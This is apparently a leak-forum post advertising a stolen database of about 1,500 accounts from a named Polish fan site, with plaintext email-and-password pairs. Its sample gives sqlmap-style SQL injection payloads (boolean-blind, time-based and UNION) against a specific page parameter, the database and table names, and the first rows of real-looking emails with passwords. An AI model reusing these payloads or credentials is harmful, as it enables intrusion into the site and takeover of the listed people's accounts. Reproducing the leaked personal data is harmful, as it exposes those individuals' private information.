[Bobr]

Hello all! today upload fight-poland.com 
contaun 1.5k users 
format mail:pass - pas not hashed.

Hidden Content

You must register or login to view this content.

sample:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=wyniki-typera-payback-2015' AND 5876=5876 AND 'WqjC'='WqjC

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=wyniki-typera-payback-2015' AND (SELECT * FROM (SELECT(SLEEP(5)))cULL) AND 'ikXW'='ikXW

    Type: UNION query
    Title: Generic UNION query (NULL) - 23 columns
    Payload: id=wyniki-typera-payback-2015' UNION ALL SELECT CONCAT(0x716b6b7171,0x676a426e656d4e78576161707964776246624b7879474f73466e7545776b774968586e557271784c,0x71626a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
back-end DBMS: MySQL 5.0.12
Database: nyhm801_typer
Table: konta
[1561 entries]
+----------------------------------------------+--------------------------------------+
| email                                        | haslo                                |
+----------------------------------------------+--------------------------------------+
| admin@wwepolska.pl                          | wasowskimachujawdupie                |
| arkadiusz.bujnik@o2.pl                      | legiawarszawa                        |
| fuk8@wp.pl                                  | kacperowskilew3                      |